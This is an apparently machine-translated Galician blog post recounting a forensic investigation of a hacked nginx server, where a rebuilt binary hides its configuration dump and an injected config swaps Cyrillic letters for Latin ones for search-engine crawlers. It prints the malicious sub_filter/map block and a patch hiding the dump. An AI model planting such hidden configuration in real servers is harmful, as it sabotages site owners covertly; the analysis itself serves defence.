Cando 'a' non é igual a 'a'. A raíz dun hackeo

A un dos meus amigos pasoulle unha historia desagradable. Pero por desagradable que resultou para Mikhail, foi igual de entretido para min.

Debo dicir que o meu amigo é bastante UNIX-usuario: pode instalar o sistema por si mesmo mysql, php e fai axustes sinxelos Nginx.
E ten unha ducia ou unha páxina web e media dedicadas ás ferramentas de construción.

Un destes sitios dedicados ás motoserras sitúase firmemente no TOP dos buscadores. Este sitio é un revisor non comercial, pero alguén tivo o costume de atacalo. Iso DDoS, despois a forza bruta, despois escriben comentarios obscenos e envían abusos ao hosting e ao RKN.
De súpeto, todo calmouse e esta calma resultou non ser boa, e o sitio comezou a abandonar gradualmente as liñas superiores dos resultados da busca.

Cando 'a' non é igual a 'a'. A raíz dun hackeo

Iso era un dito, despois o propio conto do administrador.

Estaba preto da hora de durmir cando soou o teléfono: "San, non miras o meu servidor? A min paréceme que me piratearon, non podo demostralo, pero a sensación non me deixou para a terceira semana. Quizais só sexa hora de que me trate para a paranoia?

A continuación foi un debate de media hora que se pode resumir do seguinte xeito:

  • o chan para piratear era bastante fértil;
  • un atacante podería obter dereitos de superusuario;
  • o ataque (se tivo lugar) foi dirixido especificamente a este sitio;
  • corrixíronse as áreas problemáticas e só hai que entender se houbo algunha penetración;
  • o hack non puido afectar o código do sitio e as bases de datos.

Respecto do último punto.

Cando 'a' non é igual a 'a'. A raíz dun hackeo

Só a IP frontend branca mira para o mundo. Non hai intercambio entre os backend e o frontend excepto http(s), os usuarios/contrasinais son diferentes, non se trocou ningunha chave. Nos enderezos grises, todos os portos excepto 80/443 están pechados. As IP de backend brancas só son coñecidas por dous usuarios, nos que Mikhail confía completamente.

Instalado no frontend Debian 9 e no momento en que se fai a chamada, o sistema está illado do mundo mediante un firewall externo e detido.

"Ok, dáme acceso", decido deixar o sono durante unha hora. "Veino cos meus propios ollos".

Aquí e máis aló:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Buscando un posible hack

Comezo o servidor, primeiro en entrar modo de rescate. Monto os discos e fíxoos pasar auth-rexistros, historia, rexistros do sistema, etc., se é posible, comprobo as datas de creación do ficheiro, aínda que entendo que un cracker normal tería "varrido" despois de si mesmo, e Misha xa "pisase" moito mentres se buscaba. .

Comezo en modo normal, aínda sen entender moi ben que buscar, estudo as configuracións. En primeiro lugar, estou interesado Nginx xa que, en xeral, non hai outra cousa na interface que ela.
As configuracións son pequenas, ben estruturadas nunha ducia de ficheiros, só miro por elas gato'oh un por un. Todo parece estar limpo, pero nunca se sabe se me perdín algo incluír, permíteme facer unha lista completa:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Non entendín: "Onde está a listaxe?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Engádese unha segunda pregunta á pregunta da lista: "Por que unha versión tan antiga de nginx?"

Ademais, o sistema cre que está instalada a última versión:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

estou chamando:
- Misha, por que montaches de novo Nginx?
- Espera, non sei nin como facelo!
- Vale, vai durmir...

Nginx está claramente reconstruído e a saída da lista usando "-T" está oculta por un motivo. Xa non hai dúbidas sobre o hackeo e pode simplemente aceptalo e (xa que Misha substituíu o servidor por un novo de todos os xeitos) considerar o problema resolto.

E de feito, xa que alguén conseguiu os dereitos raíz'ah, entón só ten sentido facelo reinstalación do sistema, e era inútil buscar o que alí estaba mal, pero esta vez a curiosidade venceu ao sono. Como podemos descubrir o que nos querían ocultar?

Imos tentar rastrexar:

$ strace nginx -T

Mirámolo, é evidente que non hai liñas suficientes no trazo á la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Só por diversión, comparemos os descubrimentos.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Creo que parte do código /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

levouse á forma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ou

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

polo tanto, a listaxe por "-T" non se mostra.

Pero como podemos ver a nosa configuración?

Se o meu pensamento é correcto e o problema só está na variable ngx_dump_config imos tentar instalalo usando gdb, afortunadamente hai unha chave --con-cc-opt -g presente e espero que a optimización -O2 non nos vai facer mal. Ao mesmo tempo, xa que non sei como ngx_dump_config podería ser procesado en caso 'T':, non chamaremos a este bloque, senón que o instalaremos usando caso 't':

Por que podes usar "-t" e "-T"Procesamento de bloques if(ngx_dump_config) pasa por dentro if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Por suposto, se o código se cambia nesta parte e non en caso 'T':, entón o meu método non funcionará.

Proba nginx.confResolto xa experimentalmente o problema, estableceuse que é necesaria unha configuración mínima para que o malware funcione Nginx tipo:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Usarémolo para brevidade no artigo.

Inicie o depurador

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Os pasos:

  • establecer un punto de interrupción na función main ()
  • lanzar o programa
  • cambiar o valor da variable que determina a saída da configuración ngx_dump_config=1
  • continuar/finalizar o programa

Como podemos ver, a configuración real difire da nosa, seleccionamos unha peza parasitaria:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Vexamos o que está a suceder aquí en orde.

Determinado Axente de usuariode yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

As páxinas de servizo están excluídas WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

E para aqueles que caian nas dúas condicións anteriores

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

no texto html- Cambio de páxinas 'O' en 'o' и 'A' en 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

É certo, a única sutileza é iso 'a' != 'a' así como 'o' != 'o':

Cando 'a' non é igual a 'a'. A raíz dun hackeo

Así, os robots de buscadores reciben, en lugar do texto normal 100% cirílico, lixo modificado diluído con latín. 'a' и 'o'. Non me atrevo a discutir como isto afecta ao SEO, pero é improbable que tal revolto de letras teña un impacto positivo nas posicións nos resultados da busca.

Que podo dicir, rapaces con imaxinación.

referencias

Depuración con GDB
gdb(1) — páxina de manual de Linux
strace(1) — páxina de manual de Linux
Nginx - Módulo ngx_http_sub_module
Sobre serras, motoserras e serras eléctricas

Fonte: www.habr.com

Engadir un comentario